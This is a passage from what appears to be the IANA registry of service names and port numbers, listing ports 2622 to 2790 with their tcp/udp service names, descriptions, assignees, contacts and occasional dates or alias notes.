metricadbc         2622        udp    MetricaDBC                   [Russ_Olivant]                                        [Russ_Olivant]
lmdp               2623        tcp    LMDP                         [Ken_Bailey]                                          [Ken_Bailey]
lmdp               2623        udp    LMDP                         [Ken_Bailey]                                          [Ken_Bailey]
aria               2624        tcp    Aria                         [Logan_Bruns]                                         [Logan_Bruns]
aria               2624        udp    Aria                         [Logan_Bruns]                                         [Logan_Bruns]
blwnkl-port        2625        tcp    Blwnkl Port                  [Weng_Chin_Yung]                                      [Weng_Chin_Yung]
blwnkl-port        2625        udp    Blwnkl Port                  [Weng_Chin_Yung]                                      [Weng_Chin_Yung]
gbjd816            2626        tcp    gbjd816                      [George_Balesta]                                      [George_Balesta]
gbjd816            2626        udp    gbjd816                      [George_Balesta]                                      [George_Balesta]
moshebeeri         2627        tcp    Moshe Beeri                  [Moshe_Beeri]                                         [Moshe_Beeri]
moshebeeri         2627        udp    Moshe Beeri                  [Moshe_Beeri]                                         [Moshe_Beeri]
dict               2628        tcp    DICT                         [Rik_Faith]                                           [Rik_Faith]
dict               2628        udp    DICT                         [Rik_Faith]                                           [Rik_Faith]
sitaraserver       2629        tcp    Sitara Server
sitaraserver       2629        udp    Sitara Server
sitaramgmt         2630        tcp    Sitara Management
sitaramgmt         2630        udp    Sitara Management
sitaradir          2631        tcp    Sitara Dir                   [Manickam_R_Sridhar]                                  [Manickam_R_Sridhar]
sitaradir          2631        udp    Sitara Dir                   [Manickam_R_Sridhar]                                  [Manickam_R_Sridhar]
irdg-post          2632        tcp    IRdg Post                    [IRdg]                                                [IRdg]
irdg-post          2632        udp    IRdg Post                    [IRdg]                                                [IRdg]
interintelli       2633        tcp    InterIntelli                 [Mike_Gagle]                                          [Mike_Gagle]
interintelli       2633        udp    InterIntelli                 [Mike_Gagle]                                          [Mike_Gagle]
pk-electronics     2634        tcp    PK Electronics               [Seb_Ibis]                                            [Seb_Ibis]
pk-electronics     2634        udp    PK Electronics               [Seb_Ibis]                                            [Seb_Ibis]
backburner         2635        tcp    Back Burner                  [Kevin_Teiskoetter]                                   [Kevin_Teiskoetter]
backburner         2635        udp    Back Burner                  [Kevin_Teiskoetter]                                   [Kevin_Teiskoetter]
solve              2636        tcp    Solve                        [Peter_Morrison]                                      [Peter_Morrison]
solve              2636        udp    Solve                        [Peter_Morrison]                                      [Peter_Morrison]
imdocsvc           2637        tcp    Import Document Service      [Zia_Bhatti]                                          [Zia_Bhatti]
imdocsvc           2637        udp    Import Document Service      [Zia_Bhatti]                                          [Zia_Bhatti]
sybaseanywhere     2638        tcp    Sybase Anywhere              [Dave_Neudoerffer]                                    [Dave_Neudoerffer]
sybaseanywhere     2638        udp    Sybase Anywhere              [Dave_Neudoerffer]                                    [Dave_Neudoerffer]
aminet             2639        tcp    AMInet                       [Alcorn_McBride_Inc]                                  [Alcorn_McBride_Inc]
aminet             2639        udp    AMInet                       [Alcorn_McBride_Inc]                                  [Alcorn_McBride_Inc]
ami-control        2640        tcp    Alcorn McBride Inc protocol  [Alcorn_McBride_Inc]                                  [Joy_Burke]
                                      used for device control
ami-control        2640        udp    Alcorn McBride Inc protocol  [Alcorn_McBride_Inc]                                  [Joy_Burke]
                                      used for device control
hdl-srv            2641        tcp    HDL Server                   [David_Ely]                                           [David_Ely]
hdl-srv            2641        udp    HDL Server                   [David_Ely]                                           [David_Ely]
tragic             2642        tcp    Tragic                       [Stu_Mark]                                            [Stu_Mark]
tragic             2642        udp    Tragic                       [Stu_Mark]                                            [Stu_Mark]
gte-samp           2643        tcp    GTE-SAMP                     [Asher_Altman]                                        [Asher_Altman]
gte-samp           2643        udp    GTE-SAMP                     [Asher_Altman]                                        [Asher_Altman]
travsoft-ipx-t     2644        tcp    Travsoft IPX Tunnel          [Jack_Wilson]                                         [Jack_Wilson]
travsoft-ipx-t     2644        udp    Travsoft IPX Tunnel          [Jack_Wilson]                                         [Jack_Wilson]
novell-ipx-cmd     2645        tcp    Novell IPX CMD               [Juan_Carlos_Luciani]                                 [Juan_Carlos_Luciani]
novell-ipx-cmd     2645        udp    Novell IPX CMD               [Juan_Carlos_Luciani]                                 [Juan_Carlos_Luciani]
and-lm             2646        tcp    AND License Manager          [Dick_van_der_Sijs]                                   [Dick_van_der_Sijs]
and-lm             2646        udp    AND License Manager          [Dick_van_der_Sijs]                                   [Dick_van_der_Sijs]
syncserver         2647        tcp    SyncServer                   [Shawn_Casey]                                         [Shawn_Casey]
syncserver         2647        udp    SyncServer                   [Shawn_Casey]                                         [Shawn_Casey]
upsnotifyprot      2648        tcp    Upsnotifyprot                [Mario_Leboute]                                       [Mario_Leboute]
upsnotifyprot      2648        udp    Upsnotifyprot                [Mario_Leboute]                                       [Mario_Leboute]
vpsipport          2649        tcp    VPSIPPORT                    [Joon_Radley]                                         [Joon_Radley]
vpsipport          2649        udp    VPSIPPORT                    [Joon_Radley]                                         [Joon_Radley]
eristwoguns        2650        tcp    eristwoguns                  [Jason_Lockett][Melanie_Kacerek]                      [Jason_Lockett][Melanie_Kacerek]                          2008-12-16
eristwoguns        2650        udp    eristwoguns                  [Jason_Lockett][Melanie_Kacerek]                      [Jason_Lockett][Melanie_Kacerek]                          2008-12-16
ebinsite           2651        tcp    EBInSite                     [Lefteris_Kalamaras]                                  [Lefteris_Kalamaras]
ebinsite           2651        udp    EBInSite                     [Lefteris_Kalamaras]                                  [Lefteris_Kalamaras]
interpathpanel     2652        tcp    InterPathPanel               [Stephen_Misel]                                       [Stephen_Misel]
interpathpanel     2652        udp    InterPathPanel               [Stephen_Misel]                                       [Stephen_Misel]
sonus              2653        tcp    Sonus                        [Mark_Garti]                                          [Mark_Garti]
sonus              2653        udp    Sonus                        [Mark_Garti]                                          [Mark_Garti]
                                      Corel VNC Admin

corel-vncadmin     2654        tcp    IANA assigned this           [Oleg_Noskov]                                         [Oleg_Noskov]
                                      well-formed service name as
                                      a replacement for
                                      "corel_vncadmin".
                                                                                                                                                                                                                                                                                  This entry is an alias to "corel-vncadmin". This entry is now
corel_vncadmin     2654        tcp    Corel VNC Admin              [Oleg_Noskov]                                         [Oleg_Noskov]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Corel VNC Admin

corel-vncadmin     2654        udp    IANA assigned this           [Oleg_Noskov]                                         [Oleg_Noskov]
                                      well-formed service name as
                                      a replacement for
                                      "corel_vncadmin".
                                                                                                                                                                                                                                                                                  This entry is an alias to "corel-vncadmin". This entry is now
corel_vncadmin     2654        udp    Corel VNC Admin              [Oleg_Noskov]                                         [Oleg_Noskov]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
unglue             2655        tcp    UNIX Nt Glue                 [Peter_Santoro]                                       [Peter_Santoro]
unglue             2655        udp    UNIX Nt Glue                 [Peter_Santoro]                                       [Peter_Santoro]
kana               2656        tcp    Kana                         [Colin_Goldstein]                                     [Colin_Goldstein]
kana               2656        udp    Kana                         [Colin_Goldstein]                                     [Colin_Goldstein]
sns-dispatcher     2657        tcp    SNS Dispatcher
sns-dispatcher     2657        udp    SNS Dispatcher
sns-admin          2658        tcp    SNS Admin
sns-admin          2658        udp    SNS Admin
sns-query          2659        tcp    SNS Query                    [Mary_Holstege]                                       [Mary_Holstege]
sns-query          2659        udp    SNS Query                    [Mary_Holstege]                                       [Mary_Holstege]
gcmonitor          2660        tcp    GC Monitor                   [Gustavo_Rodriguez_Ri]                                [Gustavo_Rodriguez_Ri]
gcmonitor          2660        udp    GC Monitor                   [Gustavo_Rodriguez_Ri]                                [Gustavo_Rodriguez_Ri]
olhost             2661        tcp    OLHOST                       [Robert_Ripberger]                                    [Robert_Ripberger]
olhost             2661        udp    OLHOST                       [Robert_Ripberger]                                    [Robert_Ripberger]
                                                                                                                                                                                                                                                                     Unauthorized
bintec-capi        2662        tcp    BinTec-CAPI                                                                                                                                                                                                                    Use Known on
                                                                                                                                                                                                                                                                     port 2662
                                                                                                                                                                                                                                                                     Unauthorized
bintec-capi        2662        udp    BinTec-CAPI                                                                                                                                                                                                                    Use Known on
                                                                                                                                                                                                                                                                     port 2662
bintec-tapi        2663        tcp    BinTec-TAPI
bintec-tapi        2663        udp    BinTec-TAPI
patrol-mq-gm       2664        tcp    Patrol for MQ GM
patrol-mq-gm       2664        udp    Patrol for MQ GM
patrol-mq-nm       2665        tcp    Patrol for MQ NM             [Portnoy_Boxman]                                      [Portnoy_Boxman]
patrol-mq-nm       2665        udp    Patrol for MQ NM             [Portnoy_Boxman]                                      [Portnoy_Boxman]
extensis           2666        tcp    extensis                     [Milton_Sagen]                                        [Milton_Sagen]
extensis           2666        udp    extensis                     [Milton_Sagen]                                        [Milton_Sagen]
alarm-clock-s      2667        tcp    Alarm Clock Server
alarm-clock-s      2667        udp    Alarm Clock Server
alarm-clock-c      2668        tcp    Alarm Clock Client
alarm-clock-c      2668        udp    Alarm Clock Client
toad               2669        tcp    TOAD                         [Michael_Marking]                                     [Michael_Marking]
toad               2669        udp    TOAD                         [Michael_Marking]                                     [Michael_Marking]
tve-announce       2670        tcp    TVE Announce                 [Dean_Blackketter]                                    [Dean_Blackketter]
tve-announce       2670        udp    TVE Announce                 [Dean_Blackketter]                                    [Dean_Blackketter]
newlixreg          2671        tcp    newlixreg                    [Jean_Serge_Gagnon_2]                                 [Jean_Serge_Gagnon_2]
newlixreg          2671        udp    newlixreg                    [Jean_Serge_Gagnon_2]                                 [Jean_Serge_Gagnon_2]
nhserver           2672        tcp    nhserver                     [Adrian_Hornby]                                       [Adrian_Hornby]
nhserver           2672        udp    nhserver                     [Adrian_Hornby]                                       [Adrian_Hornby]
firstcall42        2673        tcp    First Call 42                [Luke_Bowen]                                          [Luke_Bowen]
firstcall42        2673        udp    First Call 42                [Luke_Bowen]                                          [Luke_Bowen]
ewnn               2674        tcp    ewnn                         [Yasunari_Yamashita]                                  [Yasunari_Yamashita]
ewnn               2674        udp    ewnn                         [Yasunari_Yamashita]                                  [Yasunari_Yamashita]
ttc-etap           2675        tcp    TTC ETAP                     [Daniel_Becker]                                       [Daniel_Becker]
ttc-etap           2675        udp    TTC ETAP                     [Daniel_Becker]                                       [Daniel_Becker]
simslink           2676        tcp    SIMSLink                     [Steve_Ryckman]                                       [Steve_Ryckman]
simslink           2676        udp    SIMSLink                     [Steve_Ryckman]                                       [Steve_Ryckman]
gadgetgate1way     2677        tcp    Gadget Gate 1 Way
gadgetgate1way     2677        udp    Gadget Gate 1 Way
gadgetgate2way     2678        tcp    Gadget Gate 2 Way            [Matt_Rollins]                                        [Matt_Rollins]
gadgetgate2way     2678        udp    Gadget Gate 2 Way            [Matt_Rollins]                                        [Matt_Rollins]
syncserverssl      2679        tcp    Sync Server SSL              [Shawn_Casey]                                         [Shawn_Casey]
syncserverssl      2679        udp    Sync Server SSL              [Shawn_Casey]                                         [Shawn_Casey]
pxc-sapxom         2680        tcp    pxc-sapxom                   [Hideki_Kiriyama]                                     [Hideki_Kiriyama]
pxc-sapxom         2680        udp    pxc-sapxom                   [Hideki_Kiriyama]                                     [Hideki_Kiriyama]
mpnjsomb           2681        tcp    mpnjsomb                     [Takenori_Miyahara]                                   [Takenori_Miyahara]
mpnjsomb           2681        udp    mpnjsomb                     [Takenori_Miyahara]                                   [Takenori_Miyahara]
                   2682               Removed                                                                                                                                                   2002-04-30
ncdloadbalance     2683        tcp    NCDLoadBalance               [Tim_Stevenson]                                       [Tim_Stevenson]
ncdloadbalance     2683        udp    NCDLoadBalance               [Tim_Stevenson]                                       [Tim_Stevenson]
mpnjsosv           2684        tcp    mpnjsosv
mpnjsosv           2684        udp    mpnjsosv
mpnjsocl           2685        tcp    mpnjsocl
mpnjsocl           2685        udp    mpnjsocl
mpnjsomg           2686        tcp    mpnjsomg                     [Takenori_Miyahara]                                   [Takenori_Miyahara]
mpnjsomg           2686        udp    mpnjsomg                     [Takenori_Miyahara]                                   [Takenori_Miyahara]
pq-lic-mgmt        2687        tcp    pq-lic-mgmt                  [Bob_Sledge]                                          [Bob_Sledge]
pq-lic-mgmt        2687        udp    pq-lic-mgmt                  [Bob_Sledge]                                          [Bob_Sledge]
md-cg-http         2688        tcp    md-cf-http                   [Lyndon_Nerenberg]                                    [Lyndon_Nerenberg]
md-cg-http         2688        udp    md-cf-http                   [Lyndon_Nerenberg]                                    [Lyndon_Nerenberg]
fastlynx           2689        tcp    FastLynx                     [Dave_Sewell]                                         [Dave_Sewell]
fastlynx           2689        udp    FastLynx                     [Dave_Sewell]                                         [Dave_Sewell]
hp-nnm-data        2690        tcp    HP NNM Embedded Database     [Chris_Das]                                           [Chris_Das]
hp-nnm-data        2690        udp    HP NNM Embedded Database     [Chris_Das]                                           [Chris_Das]
itinternet         2691        tcp    ITInternet ISM Server        [Ron_Ehli]                                            [Ron_Ehli]
itinternet         2691        udp    ITInternet ISM Server        [Ron_Ehli]                                            [Ron_Ehli]
admins-lms         2692        tcp    Admins LMS                   [Dagfinn_Saether]                                     [Dagfinn_Saether]
admins-lms         2692        udp    Admins LMS                   [Dagfinn_Saether]                                     [Dagfinn_Saether]
                   2693        tcp    Unassigned                                                                                                                                                                                                                                  (Removed 2004-2-6)
                   2693        udp    Unassigned                                                                                                                                                                                                                                  (Removed 2004-2-6)
pwrsevent          2694        tcp    pwrsevent                    [Yoshinobu_Nakamura]                                  [Yoshinobu_Nakamura]
pwrsevent          2694        udp    pwrsevent                    [Yoshinobu_Nakamura]                                  [Yoshinobu_Nakamura]
vspread            2695        tcp    VSPREAD                      [Sumitake_kobayashi]                                  [Sumitake_kobayashi]
vspread            2695        udp    VSPREAD                      [Sumitake_kobayashi]                                  [Sumitake_kobayashi]
unifyadmin         2696        tcp    Unify Admin                  [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-31
unifyadmin         2696        udp    Unify Admin                  [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-31
oce-snmp-trap      2697        tcp    Oce SNMP Trap Port           [Peter_Teeuwen]                                       [Peter_Teeuwen]
oce-snmp-trap      2697        udp    Oce SNMP Trap Port           [Peter_Teeuwen]                                       [Peter_Teeuwen]
mck-ivpip          2698        tcp    MCK-IVPIP                    [Robert_Vincent]                                      [Robert_Vincent]
mck-ivpip          2698        udp    MCK-IVPIP                    [Robert_Vincent]                                      [Robert_Vincent]
csoft-plusclnt     2699        tcp    Csoft Plus Client            [Nedelcho_Stanev]                                     [Nedelcho_Stanev]
csoft-plusclnt     2699        udp    Csoft Plus Client            [Nedelcho_Stanev]                                     [Nedelcho_Stanev]
tqdata             2700        tcp    tqdata                       [Al_Guetzlaff]                                        [Al_Guetzlaff]
tqdata             2700        udp    tqdata                       [Al_Guetzlaff]                                        [Al_Guetzlaff]
sms-rcinfo         2701        tcp    SMS RCINFO
sms-rcinfo         2701        udp    SMS RCINFO
sms-xfer           2702        tcp    SMS XFER
sms-xfer           2702        udp    SMS XFER
sms-chat           2703        tcp    SMS CHAT
sms-chat           2703        udp    SMS CHAT
sms-remctrl        2704        tcp    SMS REMCTRL                  [Tom_Friend]                                          [Tom_Friend]
sms-remctrl        2704        udp    SMS REMCTRL                  [Tom_Friend]                                          [Tom_Friend]
sds-admin          2705        tcp    SDS Admin                    [Don_Traub]                                           [Don_Traub]
sds-admin          2705        udp    SDS Admin                    [Don_Traub]                                           [Don_Traub]
ncdmirroring       2706        tcp    NCD Mirroring                [Tim_Stevenson]                                       [Tim_Stevenson]
ncdmirroring       2706        udp    NCD Mirroring                [Tim_Stevenson]                                       [Tim_Stevenson]
emcsymapiport      2707        tcp    EMCSYMAPIPORT                [Bruce_Ferjulian]                                     [Bruce_Ferjulian]
emcsymapiport      2707        udp    EMCSYMAPIPORT                [Bruce_Ferjulian]                                     [Bruce_Ferjulian]
banyan-net         2708        tcp    Banyan-Net                   [R_Thirumurthy]                                       [R_Thirumurthy]
banyan-net         2708        udp    Banyan-Net                   [R_Thirumurthy]                                       [R_Thirumurthy]
supermon           2709        tcp    Supermon                     [Ron_Minnich]                                         [Ron_Minnich]
supermon           2709        udp    Supermon                     [Ron_Minnich]                                         [Ron_Minnich]
sso-service        2710        tcp    SSO Service
sso-service        2710        udp    SSO Service
sso-control        2711        tcp    SSO Control                  [Axel_Kern]                                           [Axel_Kern]
sso-control        2711        udp    SSO Control                  [Axel_Kern]                                           [Axel_Kern]
aocp               2712        tcp    Axapta Object Communication  [Jakob_Steen_Hansen]                                  [Jakob_Steen_Hansen]
                                      Protocol
aocp               2712        udp    Axapta Object Communication  [Jakob_Steen_Hansen]                                  [Jakob_Steen_Hansen]
                                      Protocol
raventbs           2713        tcp    Raven Trinity Broker Service
raventbs           2713        udp    Raven Trinity Broker Service
raventdm           2714        tcp    Raven Trinity Data Mover     [Daniel_Sorlov]                                       [Daniel_Sorlov]
raventdm           2714        udp    Raven Trinity Data Mover     [Daniel_Sorlov]                                       [Daniel_Sorlov]
hpstgmgr2          2715        tcp    HPSTGMGR2                    [Kevin_Collins_2]                                     [Kevin_Collins_2]
hpstgmgr2          2715        udp    HPSTGMGR2                    [Kevin_Collins_2]                                     [Kevin_Collins_2]
inova-ip-disco     2716        tcp    Inova IP Disco               [Chris_Koeritz]                                       [Chris_Koeritz]
inova-ip-disco     2716        udp    Inova IP Disco               [Chris_Koeritz]                                       [Chris_Koeritz]
pn-requester       2717        tcp    PN REQUESTER
pn-requester       2717        udp    PN REQUESTER
pn-requester2      2718        tcp    PN REQUESTER 2               [Portnoy_Boxman]                                      [Portnoy_Boxman]
pn-requester2      2718        udp    PN REQUESTER 2               [Portnoy_Boxman]                                      [Portnoy_Boxman]
scan-change        2719        tcp    Scan & Change                [Alexander_Raji]                                      [Alexander_Raji]
scan-change        2719        udp    Scan & Change                [Alexander_Raji]                                      [Alexander_Raji]
wkars              2720        tcp    wkars                        [Barry_Shelton]                                       [Barry_Shelton]
wkars              2720        udp    wkars                        [Barry_Shelton]                                       [Barry_Shelton]
smart-diagnose     2721        tcp    Smart Diagnose               [Geoffry_Meek]                                        [Geoffry_Meek]
smart-diagnose     2721        udp    Smart Diagnose               [Geoffry_Meek]                                        [Geoffry_Meek]
proactivesrvr      2722        tcp    Proactive Server             [Dalit_Naor]                                          [Dalit_Naor]
proactivesrvr      2722        udp    Proactive Server             [Dalit_Naor]                                          [Dalit_Naor]
watchdog-nt        2723        tcp    WatchDog NT Protocol         [Glen_Sansoucie]                                      [Glen_Sansoucie]
watchdog-nt        2723        udp    WatchDog NT Protocol         [Glen_Sansoucie]                                      [Glen_Sansoucie]
qotps              2724        tcp    qotps                        [Piotr_Parlewicz]                                     [Piotr_Parlewicz]
qotps              2724        udp    qotps                        [Piotr_Parlewicz]                                     [Piotr_Parlewicz]
msolap-ptp2        2725        tcp    MSOLAP PTP2                  [Cristian_Petculescu]                                 [Cristian_Petculescu]
msolap-ptp2        2725        udp    MSOLAP PTP2                  [Cristian_Petculescu]                                 [Cristian_Petculescu]
tams               2726        tcp    TAMS                         [David_Leinbach]                                      [David_Leinbach]
tams               2726        udp    TAMS                         [David_Leinbach]                                      [David_Leinbach]
mgcp-callagent     2727        tcp    Media Gateway Control        [Christian_Huitema]                                   [Christian_Huitema]
                                      Protocol Call Agent
mgcp-callagent     2727        udp    Media Gateway Control        [Christian_Huitema]                                   [Christian_Huitema]
                                      Protocol Call Agent
sqdr               2728        tcp    SQDR                         [Matthew_Orzen]                                       [Matthew_Orzen]
sqdr               2728        udp    SQDR                         [Matthew_Orzen]                                       [Matthew_Orzen]
tcim-control       2729        tcp    TCIM Control                 [Dean_Skelton]                                        [Dean_Skelton]
tcim-control       2729        udp    TCIM Control                 [Dean_Skelton]                                        [Dean_Skelton]
nec-raidplus       2730        tcp    NEC RaidPlus                 [Yusuke_Asai]                                         [Yusuke_Asai]
nec-raidplus       2730        udp    NEC RaidPlus                 [Yusuke_Asai]                                         [Yusuke_Asai]
fyre-messanger     2731        tcp    Fyre Messanger               [Robert_Waters]                                       [Robert_Waters]
fyre-messanger     2731        udp    Fyre Messagner               [Robert_Waters]                                       [Robert_Waters]
g5m                2732        tcp    G5M                          [Graham_Klyne]                                        [Graham_Klyne]
g5m                2732        udp    G5M                          [Graham_Klyne]                                        [Graham_Klyne]
signet-ctf         2733        tcp    Signet CTF                   [Greg_Broiles]                                        [Greg_Broiles]
signet-ctf         2733        udp    Signet CTF                   [Greg_Broiles]                                        [Greg_Broiles]
ccs-software       2734        tcp    CCS Software                 [Bertus_Jacobs]                                       [Bertus_Jacobs]
ccs-software       2734        udp    CCS Software                 [Bertus_Jacobs]                                       [Bertus_Jacobs]
netiq-mc           2735        tcp    NetIQ Monitor Console        [Scott_Southard]                                      [Scott_Southard]                                          2010-08-25
netiq-mc           2735        udp    NetIQ Monitor Console        [Scott_Southard]                                      [Scott_Southard]                                          2010-08-25
radwiz-nms-srv     2736        tcp    RADWIZ NMS SRV               [Israel_Shainert]                                     [Israel_Shainert]
radwiz-nms-srv     2736        udp    RADWIZ NMS SRV               [Israel_Shainert]                                     [Israel_Shainert]
srp-feedback       2737        tcp    SRP Feedback                 [Werner_Almesberger]                                  [Werner_Almesberger]
srp-feedback       2737        udp    SRP Feedback                 [Werner_Almesberger]                                  [Werner_Almesberger]
ndl-tcp-ois-gw     2738        tcp    NDL TCP-OSI Gateway          [Martin_Norman]                                       [Martin_Norman]
ndl-tcp-ois-gw     2738        udp    NDL TCP-OSI Gateway          [Martin_Norman]                                       [Martin_Norman]
tn-timing          2739        tcp    TN Timing                    [Paul_Roberts]                                        [Paul_Roberts]
tn-timing          2739        udp    TN Timing                    [Paul_Roberts]                                        [Paul_Roberts]
alarm              2740        tcp    Alarm                        [Uriy_Makasjuk]                                       [Uriy_Makasjuk]
alarm              2740        udp    Alarm                        [Uriy_Makasjuk]                                       [Uriy_Makasjuk]
tsb                2741        tcp    TSB
tsb                2741        udp    TSB
tsb2               2742        tcp    TSB2                         [Ashish_Chatterjee]                                   [Ashish_Chatterjee]
tsb2               2742        udp    TSB2                         [Ashish_Chatterjee]                                   [Ashish_Chatterjee]
murx               2743        tcp    murx                         [Thomas_Kuiper]                                       [Thomas_Kuiper]
murx               2743        udp    murx                         [Thomas_Kuiper]                                       [Thomas_Kuiper]
honyaku            2744        tcp    honyaku                      [Yasunari_Yamashita]                                  [Yasunari_Yamashita]
honyaku            2744        udp    honyaku                      [Yasunari_Yamashita]                                  [Yasunari_Yamashita]
urbisnet           2745        tcp    URBISNET                     [Urbis_Net_Ltd]                                       [Urbis_Net_Ltd]
urbisnet           2745        udp    URBISNET                     [Urbis_Net_Ltd]                                       [Urbis_Net_Ltd]
cpudpencap         2746        tcp    CPUDPENCAP                   [Tamir_Zegman]                                        [Tamir_Zegman]
cpudpencap         2746        udp    CPUDPENCAP                   [Tamir_Zegman]                                        [Tamir_Zegman]
fjippol-swrly      2747        tcp
fjippol-swrly      2747        udp
fjippol-polsvr     2748        tcp
fjippol-polsvr     2748        udp
fjippol-cnsl       2749        tcp
fjippol-cnsl       2749        udp
fjippol-port1      2750        tcp
fjippol-port1      2750        udp
fjippol-port2      2751        tcp                                 [Shoichi_Tachibana]                                   [Shoichi_Tachibana]
fjippol-port2      2751        udp                                 [Shoichi_Tachibana]                                   [Shoichi_Tachibana]
rsisysaccess       2752        tcp    RSISYS ACCESS                [Christophe_Besant]                                   [Christophe_Besant]
rsisysaccess       2752        udp    RSISYS ACCESS                [Christophe_Besant]                                   [Christophe_Besant]
de-spot            2753        tcp    de-spot                      [Sanjay_Parekh]                                       [Sanjay_Parekh]
de-spot            2753        udp    de-spot                      [Sanjay_Parekh]                                       [Sanjay_Parekh]
apollo-cc          2754        tcp    APOLLO CC                    [Brand_Communications]                                [Brand_Communications]
apollo-cc          2754        udp    APOLLO CC                    [Brand_Communications]                                [Brand_Communications]
expresspay         2755        tcp    Express Pay                  [Ben_Higgins]                                         [Ben_Higgins]
expresspay         2755        udp    Express Pay                  [Ben_Higgins]                                         [Ben_Higgins]
simplement-tie     2756        tcp    simplement-tie               [Tzvika_Chumash]                                      [Tzvika_Chumash]
simplement-tie     2756        udp    simplement-tie               [Tzvika_Chumash]                                      [Tzvika_Chumash]
cnrp               2757        tcp    CNRP                         [Jacob_Ulmert]                                        [Jacob_Ulmert]
cnrp               2757        udp    CNRP                         [Jacob_Ulmert]                                        [Jacob_Ulmert]
apollo-status      2758        tcp    APOLLO Status
apollo-status      2758        udp    APOLLO Status
apollo-gms         2759        tcp    APOLLO GMS                   [Simon_Hovell]                                        [Simon_Hovell]
apollo-gms         2759        udp    APOLLO GMS                   [Simon_Hovell]                                        [Simon_Hovell]
sabams             2760        tcp    Saba MS                      [Davoud_Maha]                                         [Davoud_Maha]
sabams             2760        udp    Saba MS                      [Davoud_Maha]                                         [Davoud_Maha]
dicom-iscl         2761        tcp    DICOM ISCL
dicom-iscl         2761        udp    DICOM ISCL
dicom-tls          2762        tcp    DICOM TLS                    [Lawrence_Tarbox]                                     [Lawrence_Tarbox]
dicom-tls          2762        udp    DICOM TLS                    [Lawrence_Tarbox]                                     [Lawrence_Tarbox]
desktop-dna        2763        tcp    Desktop DNA                  [Jon_Walker]                                          [Jon_Walker]
desktop-dna        2763        udp    Desktop DNA                  [Jon_Walker]                                          [Jon_Walker]
data-insurance     2764        tcp    Data Insurance               [Brent_Irwin]                                         [Brent_Irwin]
data-insurance     2764        udp    Data Insurance               [Brent_Irwin]                                         [Brent_Irwin]
qip-audup          2765        tcp    qip-audup                    [Mike_Morgan]                                         [Mike_Morgan]
qip-audup          2765        udp    qip-audup                    [Mike_Morgan]                                         [Mike_Morgan]
compaq-scp         2766        tcp    Compaq SCP                   [Ferruccio_Barletta]                                  [Ferruccio_Barletta]
compaq-scp         2766        udp    Compaq SCP                   [Ferruccio_Barletta]                                  [Ferruccio_Barletta]
uadtc              2767        tcp    UADTC
uadtc              2767        udp    UADTC
uacs               2768        tcp    UACS                         [Vishwas_Lele]                                        [Vishwas_Lele]
uacs               2768        udp    UACS                         [Vishwas_Lele]                                        [Vishwas_Lele]
exce               2769        tcp    eXcE                         [Norm_Freedman]                                       [Norm_Freedman]
exce               2769        udp    eXcE                         [Norm_Freedman]                                       [Norm_Freedman]
veronica           2770        tcp    Veronica                     [Jonas_Oberg]                                         [Jonas_Oberg]
veronica           2770        udp    Veronica                     [Jonas_Oberg]                                         [Jonas_Oberg]
vergencecm         2771        tcp    Vergence CM                  [Mark_Morwood]                                        [Mark_Morwood]
vergencecm         2771        udp    Vergence CM                  [Mark_Morwood]                                        [Mark_Morwood]
auris              2772        tcp    auris                        [Francisco_Saez_Aranc]                                [Francisco_Saez_Aranc]
auris              2772        udp    auris                        [Francisco_Saez_Aranc]                                [Francisco_Saez_Aranc]
rbakcup1           2773        tcp    RBackup Remote Backup
rbakcup1           2773        udp    RBackup Remote Backup
rbakcup2           2774        tcp    RBackup Remote Backup        [Rob_Cosgrove]                                        [Rob_Cosgrove]
rbakcup2           2774        udp    RBackup Remote Backup        [Rob_Cosgrove]                                        [Rob_Cosgrove]
smpp               2775        tcp    SMPP                         [Owen_Sullivan]                                       [Owen_Sullivan]
smpp               2775        udp    SMPP                         [Owen_Sullivan]                                       [Owen_Sullivan]
ridgeway1          2776        tcp    Ridgeway Systems & Software
ridgeway1          2776        udp    Ridgeway Systems & Software
ridgeway2          2777        tcp    Ridgeway Systems & Software  [Steve_Read]                                          [Steve_Read]
ridgeway2          2777        udp    Ridgeway Systems & Software  [Steve_Read]                                          [Steve_Read]
gwen-sonya         2778        tcp    Gwen-Sonya                   [Mark_Hurst]                                          [Mark_Hurst]
gwen-sonya         2778        udp    Gwen-Sonya                   [Mark_Hurst]                                          [Mark_Hurst]
lbc-sync           2779        tcp    LBC Sync
lbc-sync           2779        udp    LBC Sync
lbc-control        2780        tcp    LBC Control                  [Keiji_Michine]                                       [Keiji_Michine]
lbc-control        2780        udp    LBC Control                  [Keiji_Michine]                                       [Keiji_Michine]
whosells           2781        tcp    whosells                     [William_Randolph_Roy]                                [William_Randolph_Roy]
whosells           2781        udp    whosells                     [William_Randolph_Roy]                                [William_Randolph_Roy]
everydayrc         2782        tcp    everydayrc                   [Ahti_Heinla]                                         [Ahti_Heinla]
everydayrc         2782        udp    everydayrc                   [Ahti_Heinla]                                         [Ahti_Heinla]
aises              2783        tcp    AISES                        [Daniel_Grazioli]                                     [Daniel_Grazioli]
aises              2783        udp    AISES                        [Daniel_Grazioli]                                     [Daniel_Grazioli]
www-dev            2784        tcp    world wide web - development
www-dev            2784        udp    world wide web - development
aic-np             2785        tcp    aic-np                       [Brad_Parker]                                         [Brad_Parker]
aic-np             2785        udp    aic-np                       [Brad_Parker]                                         [Brad_Parker]
aic-oncrpc         2786        tcp    aic-oncrpc - Destiny MCD     [Brad_Parker]                                         [Brad_Parker]
                                      database
aic-oncrpc         2786        udp    aic-oncrpc - Destiny MCD     [Brad_Parker]                                         [Brad_Parker]
                                      database
piccolo            2787        tcp    piccolo - Cornerstone        [Dave_Bellivea]                                       [Dave_Bellivea]
                                      Software
piccolo            2787        udp    piccolo - Cornerstone        [Dave_Bellivea]                                       [Dave_Bellivea]
                                      Software
fryeserv           2788        tcp    NetWare Loadable Module -    [Joseph_LoPilato]                                     [Joseph_LoPilato]
                                      Seagate Software
fryeserv           2788        udp    NetWare Loadable Module -    [Joseph_LoPilato]                                     [Joseph_LoPilato]
                                      Seagate Software
media-agent        2789        tcp    Media Agent                  [Nitzan_Daube]                                        [Nitzan_Daube]
media-agent        2789        udp    Media Agent                  [Nitzan_Daube]                                        [Nitzan_Daube]
plgproxy           2790        tcp    PLG Proxy                    [Charlie_Hava]                                        [Charlie_Hava]
plgproxy           2790        udp    PLG Proxy                    [Charlie_Hava]                                        [Charlie_Hava]
